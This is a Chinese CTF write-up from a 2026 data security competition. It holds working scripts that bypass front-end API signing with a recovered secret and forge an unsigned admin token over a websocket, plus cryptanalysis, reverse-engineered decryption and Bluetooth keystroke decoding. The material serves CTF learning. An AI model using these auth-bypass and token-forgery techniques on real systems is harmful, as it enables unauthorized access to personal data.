2026数字中国创新大赛数据安全赛道个人赛部分wp"

admin 2026-10-15 18:18:46 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

2026数字中国创新大赛数据安全赛道个人赛部分wp

赛查查

2026年10月12日 18:10
北京

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

以下文章来源于横沟村干饭人
,作者ZLSk4ever

横沟村干饭人
.

今晚吃什么

四月份的比赛,炒冷饭喵

1、数据审计

所有数据在请求时都会直接下发到浏览器,只要能恢复出密钥并构造请求就可以绕过前端访问数据接口,而且数据接口和json格式都写在前端的代码里,从js中可以找到数据接口的路径、密钥、签名算法

所以可以构建exp,按照逻辑恢复密钥明文并根据接口路径获取json文件,最后查找拿到手机号

const fs = require(”fs”);        const crypto = require(”crypto”);        function hexToString(hex) {          return Buffer.from(hex, ”hex”).toString(”utf8”);        }        function sha256(input) {          return crypto.createHash(”sha256”).update(input, ”utf8”).digest(”hex”);        }         function buildSignedPath(timestamp) {          const path = ”/api/v2/f7e9/data”;          const secret = hexToString(”4434743453336375723174795f323032365f4b3379”);          const signature = sha256(`${timestamp}_${path}_${secret}`);          return {            path,            secret,            timestamp,            signature,            relativeUrl: `${path}?t=${encodeURIComponent(timestamp)}&s=${encodeURIComponent(signature)}`          };        }        async function main() {          const baseUrl = process.argv[2];          const cookie = process.argv[3] || ””;          if (!baseUrl) {            console.error(”usage: node fetch.js http://host:port [cookie]”);            process.exit(1);          }                 const timestamp = Math.floor(Date.now() / 1000).toString();          const result = buildSignedPath(timestamp);          const fullUrl = baseUrl.replace(/\\/+$/, ””) + result.relativeUrl;          const headers = {            Accept: ”application/json”          };          if (cookie) {            headers.Cookie = cookie;          }
    console.log(”secret:”, result.secret);          console.log(”url:”, fullUrl);          const resp = await fetch(fullUrl, {            method: ”GET”,            headers          });          const text = await resp.text();          fs.writeFileSync(”response_raw.txt”, text, ”utf8”);          console.log(”status:”, resp.status);          console.log(”saved: response_raw.txt”);           try {            const json = JSON.parse(text);            fs.writeFileSync(”response.json”, JSON.stringify(json, null, 2), ”utf8”);            console.log(”saved: response.json”);            if (Array.isArray(json.list)) {              console.log(”records:”, json.list.length)            }          }          catch {            console.log(”response is not valid JSON”);          }        }        main().catch(err => {          console.error(err);          process.exit(1);        });

3、数据访问

前端登录时token没有签名和校验,只需要伪造role=admin的token就可以实现回显

管理员权限的core\_config前端登录认证的payload是这样的格式

{  ”type”: ”auth”,        ”token”: ”Base64(JSON)”      }

解码token之后可以看到格式是

{        ”username”: ”guest”,        ”role”: ”visitor”,        ”device_id”: ”dev_xxx”,        ”timestamp”: 1710000000000      }

把role改成admin重新base64编码后用ws发送过去就可以在仪表盘看到信息

{        ”type”: ”dashboard_update”,        ”level”: ”critical”,        ”data”: {          ”system_status”: ”正常运行”,          ”uptime”: ”24h 15m 30s”,          ”core_config”: {            ”db_host”: ”192.168.10.5”,            ”db_port”: 3306,            ”db_user”: ”root”,            ”db_secret_credential”: ”DB_SUPER_ADMIN_KEY: #S3cur1ty_D@t@_Pr0t3ct10n_2024!”,            ”api_key”: ”sk-live-7382910384756291”          }        }      }

5、数据加密

背包密码,可以先不着急恢复私钥

用公钥对护照号执行加密并查找相差不多的记录就可以找到乘客CHEN NA,航班号格式是已知的,长度为6,一般只会使用公钥前48位,所以可以进行爆破:枚举AA0000到ZZ9999,用公钥加密后选择误差在3以内的结果,得到航班号MU2458

import csv      import pathlib      import string             BASE_DIR = pathlib.Path(r””)      PUBLIC_KEY_PATH = BASE_DIR / ”public_key.txt”      CSV_PATH = BASE_DIR / ”flight_data.csv”      TARGET_PASSPORT = ”D84961792”             def load_public_key():          return [int(x) for x in PUBLIC_KEY_PATH.read_text(encoding=”utf-8”).strip().split(”,”)]             def encrypt(msg, public_key):          if isinstance(msg, str):              msg = msg.encode(”utf-8”)          msg_val = int.from_bytes(msg, byteorder=”big”)                 if msg_val.bit_length() > len(public_key):              msg_val &= (1 << len(public_key)) - 1          total = 0          temp = msg_val                 for weight in public_key:              if temp & 1:                  total += weight              temp >>= 1          return total             def find_passenger_row(public_key):          target = encrypt(TARGET_PASSPORT, public_key)          with CSV_PATH.open(encoding=”utf-8”) as f:              reader = csv.DictReader(f)              passport_key = reader.fieldnames[1]              for row in reader:                  value = int(row[passport_key])                  if -3 <= value - target <= 3:                      return row          raise RuntimeError(”Target passenger not found”)             def build_byte_contrib(public_key, max_bytes=16):          tables = []          for pos in range(max_bytes):              contrib = [0] * 256              base = pos * 8              for byte in range(256):                  s = 0                  tmp = byte                  for i in range(8):                      if tmp & 1:                          s += public_key[base + i]                      tmp >>= 1                  contrib[byte] = s              tables.append(contrib)          return tables             def recover_flight_number(ciphertext, public_key):          contrib = build_byte_contrib(public_key)          letters = string.ascii_uppercase          digits = [f”{i:04d}” for i in range(10000)]          suffix_sums = []                 for number in digits:              suffix_sums.append((                  number,                  contrib[3][ord(number[0])]                  + contrib[2][ord(number[1])]                  + contrib[1][ord(number[2])]                  + contrib[0][ord(number[3])]              ))                 for first in letters:              first_sum = contrib[5][ord(first)]              for second in letters:                  prefix_sum = first_sum + contrib[4][ord(second)]                  for number, suffix_sum in suffix_sums:                      total = prefix_sum + suffix_sum                      if -3 <= ciphertext - total <= 3:                          return first + second + number                 raise RuntimeError(”Flight number not recovered”)             def main():          public_key = load_public_key()          row = find_passenger_row(public_key)          flight_cipher = int(row[”航班号”])          flight_number = recover_flight_number(flight_cipher, public_key)          flag = f”{flight_number}-{row['座位号']}-{row['出发地']}-{row['目的地']}”                 print(”Passenger row:”, row)          print(”Recovered flight number:”, flight_number)          print(”Flag:”, flag)             if __name__ == ”__main__”:          main()

6.数据脱敏

先观察程序行为,运行一下

可以判断表格当中的数据是加密而非完全脱敏

使用IDA反编译exe看到含有SM3的初始化常量:

7380166f 4914b2b9 172442d7 da8a0600 a96f30bc 163138aa e38dee4d b0fb0e4e

可以判断至少对手机号进行了一次SM3加密

结合调用还发现有SM4-CBC加密

在.rdata中还可以找到两串固定字符串,可能是key和iV

程序使用SM3加密的结果作为C字符串处理,如果遇到0x00则截断后按16字节每组补零,最后再进行SM4-CBC程序逻辑实现如下

import hashlib      from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes      KEY = b”1e4515\\x893a67370a3”      IV = b”8a3E414f4d297222”             def ds_encrypt(phone: str) -> str:          d = hashlib.new(”sm3”, phone.encode()).digest()          zero_pos = d.find(b”\\x00”)                 if zero_pos == -1:              zero_pos = len(d)          if zero_pos == 0:              data = b””
    else:              blocks = ((zero_pos - 1) >> 4) + 1              data = d[:zero_pos] + b”\\x00” * (blocks * 16 - zero_pos)          cipher = Cipher(algorithms.SM4(KEY), modes.CBC(IV))          enc = cipher.encryptor()          return (enc.update(data) + enc.finalize()).hex()       print(ds_encrypt(”12345678901”))

接下来只需要爆破ds\_encrypt(1577xxxxxxx)的值与表格中进行比对即可拿到手机号

8、数据存储

程序是ELF文件,用IDA反编译一下可以看到输入和输出文件名

在.rodata里可以看到一段关键字符串

全大写,32种字符,猜想是换表base32

用这个码表进行解码后得到了原始数据

后面分析程序可以看到sub\_401AEE ,0x401D70 到 0x401DAE使用前面看到的key d3b25ac1进行循环异或

另外在sub\_401276和sub\_401493可以看到0到255的初始化循环和流加密过程

可以判断是先进行循环异或,在RC4加密,最后base32编码

from __future__ import annotations      import argparse      from pathlib import Path      CUSTOM_B32_ALPHABET = ”M74NVWJHSRB2F5POI36QUGTKAXCYZLDE”      OUTER_XOR_KEY = b”d3b25ac1”      INNER_STREAM_KEY = b”d0485062ffd23a4”      def decode_custom_base32(data: str) -> bytes:          table = {ch: idx for idx, ch in enumerate(CUSTOM_B32_ALPHABET)}          pad_trim = {0: 0, 1: 1, 3: 2, 4: 3, 6: 4}          out = bytearray()
    for offset in range(0, len(data), 8):              chunk = data[offset : offset + 8]              pad = chunk.count(”=”)              value = 0             for ch in chunk:                  value = (value << 5) | (0 if ch == ”=” else table[ch])              block = bytearray(                  [                      (value >> 32) & 0xFF,                      (value >> 24) & 0xFF,                      (value >> 16) & 0xFF,                      (value >> 8) & 0xFF,                      value & 0xFF,                  ]              )              trim = pad_trim[pad]              out.extend(block[:-trim] if trim else block)          return bytes(out)      def init_state(key: bytes) -> list[int]:          state = list(range(256))          j = 0          key_index = 0          for i in range(256):              current = state[i]              j = (j + current + key[key_index] + 0x13) & 0xFF              state[i], state[j] = state[j], state[i]              key_index = (key_index + 1) % len(key)          return [0, 0, *state]
def transform_stream(state: list[int], data: bytearray) -> None:          i = state[0]          j = state[1]          s = state[2:]
    for index in range(len(data)):              i = (i + 1) & 0xFF              a = s[i]              j = (j + a) & 0xFF              b = s[j]              s[i], s[j] = s[j], s[i]              data[index] ^= s[(a + b + 0x19) & 0xFF]          state[0] = i          state[1] = j          state[2:] = s
def decrypt_blob(blob: str) -> bytes:          data = bytearray(decode_custom_base32(blob.strip()))
    for index in range(len(data)):              data[index] ^= OUTER_XOR_KEY[index % len(OUTER_XOR_KEY)]          transform_stream(init_state(INNER_STREAM_KEY), data)          return bytes(data)
def extract_cell(text: str, row: int, column: int) -> str:          lines = text.splitlines()          fields = lines[row - 1].split()          return fields[column - 1]
def main() -> None:          parser = argparse.ArgumentParser(              description=”Decrypt info_09339e4.ori.en and optionally print a target cell.”          )          parser.add_argument(              ”input”,              nargs=”?”,              default=r”info_09339e4.ori.en”,              help=”Encrypted input file”,          )          parser.add_argument(              ”-o”,              ”--output”,              help=”Write decrypted plaintext to this path”,          )
    parser.add_argument(”--row”, type=int, default=28, help=”1-based row index”)          parser.add_argument(”--col”, type=int, default=2, help=”1-based column index”)          args = parser.parse_args()          plaintext = decrypt_blob(Path(args.input).read_text(encoding=”utf-8”))          text = plaintext.decode(”utf-8”)
    if args.output:              Path(args.output).write_text(text, encoding=”utf-8”)
    print(extract_cell(text, args.row, args.col))
if __name__ == ”__main__”:          main()

数据分析1

检查可能与客户相关的文件,找到了客户分析报告\_华东区\_2026Q1.docx,下面有未删除的隐藏文字,解出题目

数据分析3

看文件头是蓝牙数据包,用WireShark打开看一下判断是蓝牙键鼠的通信,使用脚本解码得到信息

from __future__ import annotations      import argparse      import struct      from collections import Counter      from dataclasses import dataclass      from pathlib import Path
KEYMAP = {          0x04: ”a”,          0x05: ”b”,          0x06: ”c”,          0x07: ”d”,          0x08: ”e”,          0x09: ”f”,          0x0A: ”g”,          0x0B: ”h”,          0x0C: ”i”,          0x0D: ”j”,          0x0E: ”k”,          0x0F: ”l”,          0x10: ”m”,          0x11: ”n”,          0x12: ”o”,          0x13: ”p”,          0x14: ”q”,          0x15: ”r”,          0x16: ”s”,          0x17: ”t”,          0x18: ”u”,          0x19: ”v”,          0x1A: ”w”,          0x1B: ”x”,          0x1C: ”y”,          0x1D: ”z”,          0x1E: ”1”,          0x1F: ”2”,          0x20: ”3”,          0x21: ”4”,          0x22: ”5”,          0x23: ”6”,          0x24: ”7”,          0x25: ”8”,          0x26: ”9”,          0x27: ”0”,          0x28: ”\
”,          0x2C: ” ”,          0x2D: ”-”,          0x2E: ”=”,          0x2F: ”[”,          0x30: ”]”,          0x31: ”\\\\”,          0x33: ”;”,          0x34: ”'”,          0x35: ”`”,          0x36: ”,”,          0x37: ”.”,          0x38: ”/”,      }
SHIFTED = {          ”1”: ”!”,          ”2”: ”@”,          ”3”: ”#”,          ”4”: ”$”,          ”5”: ”%”,          ”6”: ”^”,          ”7”: ”&”,          ”8”: ”*”,          ”9”: ”(”,          ”0”: ”)”,          ”-”: ”_”,          ”=”: ”+”,          ”[”: ”{”,          ”]”: ”}”,          ”\\\\”: ”|”,          ”;”: ”:”,          ”'”: '”',          ”`”: ”~”,          ”,”: ”<”,          ”.”: ”>”,          ”/”: ”?”,      }
LEFT_SHIFT = 0x02      RIGHT_SHIFT = 0x20      @dataclass      class PacketRecord:          index: int          included_length: int          flags: int          timestamp: int          payload: bytes      @dataclass      class KeyboardPress:          record_index: int          timestamp_us: int          modifier: int          keycode: int          char: str          raw_payload: bytes
def parse_btsnoop(path: Path) -> list[PacketRecord]:          data = path.read_bytes()          if data[:8] != b”btsnoop\\x00”:              raise ValueError(”not a btsnoop file”)          records: list[PacketRecord] = []          cursor = 16          index = 1
    while cursor + 24 <= len(data):              original_len, included_len, flags, drops, ts_hi, ts_lo = struct.unpack(                  ”>IIIIII”, data[cursor : cursor + 24]              )              cursor += 24              payload = data[cursor : cursor + included_len]              cursor += included_len
        if len(payload) != included_len or original_len != included_len:                  raise ValueError(f”truncated record at index {index}”)              timestamp = (ts_hi << 32) | ts_lo              _ = drops              records.append(PacketRecord(index, included_len, flags, timestamp, payload))              index += 1
    return records
def iter_l2cap_payloads(records: list[PacketRecord]):          for record in records:              payload = record.payload              if len(payload) < 8:                  continue              data_total_len = int.from_bytes(payload[2:4], ”little”)              if len(payload) != data_total_len + 4:                  continue              l2cap_len = int.from_bytes(payload[4:6], ”little”)              cid = int.from_bytes(payload[6:8], ”little”)              l2cap_payload = payload[8:]              if len(l2cap_payload) != l2cap_len:                  continue              yield record, cid, l2cap_payload
def decode_key(modifier: int, keycode: int) -> str:          char = KEYMAP.get(keycode, f”<0x{keycode:02x}>”)          if modifier & (LEFT_SHIFT | RIGHT_SHIFT):              if len(char) == 1 and ”a” <= char <= ”z”:                  return char.upper()              return SHIFTED.get(char, char)          return char
def extract_keyboard_presses(records: list[PacketRecord]) -> list[KeyboardPress]:          presses: list[KeyboardPress] = []    for record, cid, payload in iter_l2cap_payloads(records):              if cid != 0x0041 or len(payload) < 5:                  continue              if payload[:2] != b”\\xA1\\x01”:                  continue              modifier = payload[2]              keycode = payload[4]              if keycode == 0:                  continue
        presses.append(                  KeyboardPress(                      record_index=record.index,                      timestamp_us=record.timestamp,                      modifier=modifier,                      keycode=keycode,                      char=decode_key(modifier, keycode),                      raw_payload=payload,                  )              )    return pressesdef count_mouse_reports(records: list[PacketRecord]) -> int:          total = 0          for _, cid, payload in iter_l2cap_payloads(records):              if cid == 0x0041 and payload[:2] == b”\\xA1\\x02”:                  total += 1          return total
def format_timestamp(timestamp_us: int, first_timestamp_us: int) -> str:          relative = (timestamp_us - first_timestamp_us) / 1_000_000          return f”{relative:9.6f}s”
def main() -> None:          parser = argparse.ArgumentParser(description=”Analyze a Bluetooth btsnoop log.”)          parser.add_argument(”path”, nargs=”?”, default=”super.log”, help=”path to btsnoop log”)          parser.add_argument(              ”--details”,              action=”store_true”,              help=”print every decoded keyboard press”,          )          args = parser.parse_args()          path = Path(args.path)          records = parse_btsnoop(path)          keyboard_presses = extract_keyboard_presses(records)          message = ””.join(press.char for press in keyboard_presses)          mouse_reports = count_mouse_reports(records)
    print(f”File: {path}”)          print(f”Records: {len(records)}”)          print(f”Mouse reports (A1 02): {mouse_reports}”)          print(f”Keyboard presses (A1 01, non-empty): {len(keyboard_presses)}”)          print(f”Decoded message: {message!r}”)
    if keyboard_presses:              first_ts = keyboard_presses[0].timestamp_us              mods = Counter(press.modifier for press in keyboard_presses)              print(f”Modifiers seen: {dict(mods)}”)
        if args.details:                  print(”\
Decoded key presses:”)                  for press in keyboard_presses:                      relative = format_timestamp(press.timestamp_us, first_ts)                      print(                          f”record={press.record_index:4d} ”                          f”time={relative} ”                          f”mod=0x{press.modifier:02x} ”                          f”key=0x{press.keycode:02x} ”                          f”char={press.char!r} ”                          f”raw={press.raw_payload.hex()}”                      )
if __name__ == ”__main__”:          main()

2026数字中国创新大赛数据安全赛道个人赛部分wp" 网络安全文章

2026数字中国创新大赛数据安全赛道个人赛部分wp"

本文为2026数字中国创新大赛数据安全赛道个人赛解题思路分享,涵盖数据审计、数据访问与数据加密三部分。通过前端代码审计发现接口路径、密钥及签名算法,构造请求绕过前端访问数据接口;利用token无签名校验漏洞伪造admin角色token获取管理员权限;针对背包密码特性,通过公钥加密爆破航班号并定位乘客信息。文章提供了完整代码示例,对CTF数据安全方向具有实战参考价值。
2026“蓝盾杯”中国技协Al+网络安全管理员职业技能竞赛" 网络安全文章

2026“蓝盾杯”中国技协Al+网络安全管理员职业技能竞赛"

文档为2026年蓝盾杯中国技协AI+网络安全管理员职业技能竞赛的赛事通知,由赛查查公众号发布。内容包含赛事基本信息与付费免责说明,强调竞赛规程、时间地点、报名方式及奖项等一切官方信息以主办方中国职工技术协会、中国华能集团及承办方最新发布为准。建议读者关注官方渠道获取准确信息,参赛决策需自行承担风险。
近期赛事汇总" 网络安全文章

近期赛事汇总"

文档汇总了2026年近期多项网络安全赛事报名信息,包括福建省大学生数据安全大赛、强网杯、中国工业互联网安全大赛、全国大学生信息安全竞赛、鲲鹏杯、华为杯研究生网络安全创新大赛、羊城杯、全国AI安全竞赛及赣网杯等。建议关注各赛事官方通知,注意报名截止时间,如华为杯10月18日截止。
上周关注度较高的产品安全漏洞(20260928-20261011)" 网络安全文章

上周关注度较高的产品安全漏洞(20260928-20261011)"

文档汇总了2026年9月28日至10月11日期间关注度较高的产品安全漏洞,涵盖境外厂商如Ubiquiti、OpenClaw、WordPress插件及境内厂商如海康威视、金蝶、磊科、TOTOLINK等产品的多个漏洞,涉及输入验证不当、授权问题、SQL注入、命令执行、跨站脚本及访问控制不当等类型,建议相关用户及时关注并修复。
评论:0   参与:  0